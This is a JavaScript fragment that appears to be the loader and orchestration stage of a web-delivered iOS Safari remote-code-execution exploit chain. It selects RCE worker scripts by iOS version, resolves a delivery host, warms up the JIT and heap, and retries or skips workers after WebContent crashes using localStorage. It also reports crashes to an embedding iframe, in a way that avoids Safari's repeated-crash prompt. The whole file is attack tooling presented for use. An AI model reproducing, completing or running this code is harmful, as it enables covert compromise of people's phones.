var rceWatch = setTimeout(function () {
print('check_attempt still running after 15s (no RCE success/fail yet)', true);
}, 15000);
attempt.start().then((result) => {
clearTimeout(rceWatch);
if (!result) {
print('check_attempt first try failed — retrying', true);
attempt.start().then(onAttemptDone).catch(function (e) {
print('check_attempt retry failed: ' + e, true);
finish(false);
});
} else {
onAttemptDone(true);
}
}).catch(function (e) {
clearTimeout(rceWatch);
print('check_attempt failed: ' + e, true);
finish(false);
});
}
} catch (e) {
print('runWorkerAttempt setup error: ' + e, true);
finish(false);
}
});
}
async function launchExploitChain() {
var grade = chain_target.usable_grade || '';
print('usable_grade=' + (grade || '?') + ' weaponized=' + !!chain_target.weaponized);
// DEAD / fully patched: still run research harness (26.3), do not claim exploit success
if (chain_target.chain === 'ghostwave' && (grade === 'DEAD' || chain_target.patched)) {
print('GhostWave DEAD path — research harness only: ' + chain_target.reason);
if (chain_target.warning) print('warning: ' + chain_target.warning, true);
const host = resolveDeliveryHost();
if (!host) {
print('fatal: no delivery host resolved', true);
return;
}
var harnessChain = worker_plan.length ? worker_plan : ['rce_worker_26.3.js'];
// Prefer 26.3 harness first
if (harnessChain.indexOf('rce_worker_26.3.js') < 0) {
harnessChain = ['rce_worker_26.3.js'].concat(harnessChain);
}
for (var hi = 0; hi < harnessChain.length; hi++) {
var hc = harnessChain[hi];
if (hc.indexOf('26.3') < 0 && grade === 'DEAD' && ios_version && ios_version[0] === 26 && (ios_version[1] || 0) >= 3) {
continue; // do not burn long RCE workers on fully patched 26.3
}
var code = await resolveWorkerCode(hc);
if (!code || code.length < workerMinBytes(hc)) {
print('worker ' + hc + ' unavailable (' + (code ? code.length : 0) + ' bytes)');
continue;
}
print('launch harness: ' + hc + ' @ ' + host);
await runWorkerAttempt(code, hc);
return;
}
print('fatal: 26.3 harness unavailable', true);
return;
}
if (chain_target.patched && chain_target.chain !== 'ghostwave') {
print('fatal: iOS version ' + chain_target.version_str + ' is patched: ' + chain_target.reason, true);
if (chain_target.warning) {
print('warning: ' + chain_target.warning, true);
}
return;
}
if (!chain_target.delivery_ok) {
print('fatal: delivery blocked ? ' + chain_target.reason, true);
return;
}
const host = resolveDeliveryHost();
if (!host) {
print('fatal: no delivery host resolved', true);
return;
}
// JIT + heap warmup before worker spawn (short — long warmup delays S1)
try {
const warm = new Array(32);
for (let w = 0; w < 3; w++) {
for (let i = 0; i < warm.length; i++) warm[i] = { a: w, b: i, c: Math.random() };
warm.sort((a, b) => a.b - b.b);
}
print('jit_warmup ok');
} catch (e) {}
const chain = worker_plan.length ? worker_plan : workerFallbackChain(ios_version);
// If WebContent jetsam/crashed mid-worker, the page reloads before stage1_failed.
// Detect in-flight worker from prior load and skip it for ~2 minutes.
// Use localStorage so skip survives iframe recreate (sessionStorage is wiped).
try {
var inflight = localStorage.getItem('__ds_inflight_worker') || '';
var its = parseInt(localStorage.getItem('__ds_inflight_ts') || '0', 10) || 0;
if (inflight && its && (Date.now() - its) < 45000) {
var crashCountKey = '__ds_crash_count_' + inflight;
var crashCnt = (parseInt(localStorage.getItem(crashCountKey) || '0', 10) || 0) + 1;
localStorage.setItem(crashCountKey, String(crashCnt));
var inIframe = false;
try {
inIframe = !!(window.parent && window.parent !== window);
} catch (_) {
inIframe = true;
}
// 嵌在 index iframe:WC 崩一次就停,禁止同 worker 重试(否则 Safari 弹「重复出现问题」)
if (inIframe) {
print(
'detected WebContent crash mid ' +
inflight +
' x' +
crashCnt +
' — stop (iframe, no retry)',
true
);
try {
window.parent.postMessage(
{
type: 'ds-wc-crash',
worker: inflight,
count: crashCnt,
progress: 42,
},
'*'
);
} catch (_) {}
try {
localStorage.removeItem('__ds_inflight_worker');
localStorage.removeItem('__ds_inflight_ts');
} catch (_) {}
return;
}
// First mid-worker crash (often early aar/w jetsam) — retry same worker.
// Only skip after 2 crashes within the window so we don't jump to missing fallbacks.
if (crashCnt >= 2) {
var skipRaw = localStorage.getItem('__ds_skip_workers') || '[]';
var skipArr = [];
try { skipArr = JSON.parse(skipRaw) || []; } catch (_) { skipArr = []; }
if (skipArr.indexOf(inflight) < 0) skipArr.push(inflight);
localStorage.setItem('__ds_skip_workers', JSON.stringify(skipArr));
localStorage.setItem('__ds_crash_mid_' + inflight, String(Date.now()));
print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — skip on retry', true);
} else {
print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — retry same worker', true);
}
}
localStorage.removeItem('__ds_inflight_worker');
localStorage.removeItem('__ds_inflight_ts');
} catch (_) {}
function workerSkipped(file) {
try {
var t = parseInt(localStorage.getItem('__ds_crash_mid_' + file) || '0', 10) || 0;
if (t && (Date.now() - t) < 120000) return true;
var arr = JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || [];
return arr.indexOf(file) >= 0;
} catch (_) { return false; }
}
print('launch chain: ' + chain.join(' ? ') + ' @ ' + host
+ (chain_target.ghostwave ? ' [GhostWave]' : '')
+ (grade ? ' grade=' + grade : ''));
// Crash-skip must not discard the only runnable worker (common on 18.6 lab: only 18.6.js exists).
var runnable = [];
for (let wi0 = 0; wi0 < chain.length; wi0++) {
if (!workerSkipped(chain[wi0])) runnable.push(chain[wi0]);
}
if (!runnable.length) {
print('crash-skip would exhaust chain — clearing skip, retry primary', true);
try {
for (let ci = 0; ci < chain.length; ci++) {
localStorage.removeItem('__ds_crash_mid_' + chain[ci]);
}
localStorage.setItem('__ds_skip_workers', '[]');
} catch (_) {}
runnable = chain.slice();
}
for (let wi = 0; wi < runnable.length; wi++) {
const candidate = runnable[wi];
if (workerSkipped(candidate) && runnable.length > 1) {
print('skip ' + candidate + ' (prior WebContent crash)', true);
continue;
}
if (workerSkipped(candidate) && runnable.length === 1) {
print('retry ' + candidate + ' despite prior crash (sole worker)', true);
}
const code = await resolveWorkerCode(candidate);
if (!code || code.length < workerMinBytes(candidate)) {
print('worker ' + candidate + ' unavailable (' + (code ? code.length : 0) + ' bytes)');
continue;
}
if (wi > 0) print('worker fallback -> ' + candidate);
try {
localStorage.setItem('__ds_inflight_worker', candidate);
localStorage.setItem('__ds_inflight_ts', String(Date.now()));
} catch (_) {}
const ok = await runWorkerAttempt(code, candidate);
try {
localStorage.removeItem('__ds_inflight_worker');
localStorage.removeItem('__ds_inflight_ts');
if (ok) {
localStorage.removeItem('__ds_crash_mid_' + candidate);
localStorage.removeItem('__ds_crash_count_' + candidate);
var left = (JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || []).filter(function (x) { return x !== candidate; });
localStorage.setItem('__ds_skip_workers', JSON.stringify(left));
}
} catch (_) {}
if (ok) return;
if (wi + 1 < runnable.length) {
print('retrying with ' + runnable[wi + 1], true);
}
}
print('fatal: all workers exhausted for iOS ' + (ios_version ? ios_version.join('.') : '?'), true);
}
launchExploitChain();